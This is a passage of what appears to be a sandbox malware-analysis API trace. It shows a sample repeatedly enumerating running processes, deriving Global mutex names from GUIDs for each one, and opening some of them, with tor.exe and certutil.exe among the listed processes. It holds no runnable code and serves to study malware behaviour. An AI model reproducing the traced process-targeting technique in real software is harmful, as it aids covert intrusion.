szExeFile="svchost.exe")) returned 1 [0118.600] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.601] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.601] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.602] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.603] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.604] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.605] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.606] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0118.606] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x6cc [0118.606] GetLastError () returned 0xb7 [0118.606] CloseHandle (hObject=0x6cc) returned 1 [0118.606] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0118.607] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0118.607] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x6cc [0118.607] GetLastError () returned 0xb7 [0118.607] CloseHandle (hObject=0x6cc) returned 1 [0118.607] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0118.608] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.609] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0118.609] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x6cc [0118.609] GetLastError () returned 0x0 [0118.609] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0118.609] CloseHandle (hObject=0x6cc) returned 1 [0118.609] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.610] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0118.610] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x6cc [0118.610] GetLastError () returned 0x0 [0118.610] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0118.610] CloseHandle (hObject=0x6cc) returned 1 [0118.610] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0118.611] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0118.611] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x6cc [0118.611] GetLastError () returned 0xb7 [0118.611] CloseHandle (hObject=0x6cc) returned 1 [0118.611] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0118.612] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0118.612] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x6cc [0118.612] GetLastError () returned 0x0 [0118.612] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0118.612] CloseHandle (hObject=0x6cc) returned 1 [0118.612] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0118.612] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0118.613] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0118.614] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0118.615] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0118.616] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0118.616] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0118.617] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0118.618] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0118.619] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0118.620] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0118.620] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0118.621] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0118.622] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0118.623] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0118.623] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0118.624] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0118.625] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0118.626] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0118.626] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0118.627] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0118.628] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.629] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0118.630] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.679] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0118.680] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.681] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0118.681] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0118.682] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0118.683] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.684] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0118.685] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0118.685] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x6cc [0118.685] GetLastError () returned 0xb7 [0118.685] CloseHandle (hObject=0x6cc) returned 1 [0118.685] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0118.686] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="certutil.exe")) returned 1 [0118.687] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.688] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0118.689] CloseHandle (hObject=0x56c) returned 1 [0118.689] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0118.790] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x56c [0118.792] Process32FirstW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.793] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0118.794] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0118.795] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.796] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0118.797] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0118.797] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0118.798] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0118.799] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0118.800] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0118.801] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.801] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.803] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.804] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.804] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.805] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0118.806] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.807] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.808] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0118.808] Process32NextW (in: hSnapshot=0x56c, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0118.809] Process32NextW (in: 